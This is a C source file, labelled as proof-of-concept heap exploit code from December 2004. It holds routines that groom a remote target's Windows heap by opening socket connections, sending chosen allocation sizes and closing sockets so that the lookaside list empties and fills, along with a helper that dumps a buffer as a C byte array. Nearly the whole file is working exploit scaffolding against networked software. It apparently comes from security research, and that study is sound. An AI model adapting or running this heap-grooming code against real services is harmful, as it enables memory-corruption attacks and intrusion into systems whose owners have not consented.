// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include "heap.h"
#include "util.h"
#include "sock.h"

void DumpBuffer(char *varname, char *buf, int len)
{
	BYTE *p;
	int i, j;
	if (!varname || !buf || !len) return;

	printf("char %s[] = // %u bytes\n", varname, len);
	printf("\t\"");

	for (i = 0, p = buf; i < len; i += sizeof(*p), p++)
	{
		printf("\\x%02x", *p);

		j = i + sizeof(*p);
		if (j < len && !(j % 16)) printf("\"\n\t\"");
	}
	printf("\";\n");
}

BOOL EmptyLookasideList(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize)
{
	int i;
	printf("Emptying lookaside index %d\n", (AllocSize/8)+1);
	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		if (AllocChunk(dst_addr, socks, AllocSize) == INVALID_SOCKET) { assert(0); return FALSE; }
	}
	Sleep(1000);
	return TRUE;
}

BOOL FillLookasideList(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize)
{
	int i, j;
	DWORD tmpsocks[LOOKASIDE_FILL_SIZE];

	printf("Filling up lookaside index %d\n", (AllocSize/8)+1);
	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		tmpsocks[i] = AllocChunk(dst_addr, socks, AllocSize);
		if (tmpsocks[i] == INVALID_SOCKET) return FALSE;
	}
	Sleep(1000);
	for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
	{
		j = tmpsocks[i];
		if (!FreeChunk(&socks[j])) return FALSE;
	}
	Sleep(1000);
	return TRUE;
}

// NOTE: the specific technique for allocating a chunk of an arbitrary will differ 
// for each application. In some applications, you may not be able to control 
// the allocation size
int AllocChunk(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize)
{
	int i = sock_get_connecting_socket(socks, MAX_SOCKETS);

	if (i == MAX_SOCKETS || i == INVALID_SOCKET)
	{
		assert(0);
		return INVALID_SOCKET;
	}
	if (sock_connect(&socks[i], &dst_addr) == SOCKET_ERROR)
	{
		printf("Failed to connect\n", inet_ntoa(dst_addr.sin_addr), htons(dst_addr.sin_port));
		return INVALID_SOCKET;
	}
	if (sock_send(&socks[i], (char *)&AllocSize, sizeof(AllocSize)) != sizeof(AllocSize))
	{
		assert(0);
		return INVALID_SOCKET;
	}
	socks[i].buf_size = AllocSize;
	return i;
}

// NOTE: the specific technique for freeing a chunk will differ for each application
// In some applications, you may not be able to control when the free happens
BOOL FreeChunk(SOCK *sock)
{
	if (!sock->is_connected || !sock->buf_size) { assert(0); return FALSE; }
	sock_close_socket(sock);
	return TRUE;
}

// NOTE: the specific technique for freeing a chunk of arbitrary will differ for each 
// application. In some applications you may not be able to control the chunk size.
BOOL FreeAnyChunk(SOCK socks[], int AllocSize)
{
	int i;
	for (i = 0; i < MAX_SOCKETS; i++)
	{
		if (!socks[i].is_connected) continue;
		if (socks[i].buf_size == (int)AllocSize)
		{
			sock_close_socket(&socks[i]);
			assert(!socks[i].buf_size);
			return TRUE;
		}
	}
	return FALSE;
}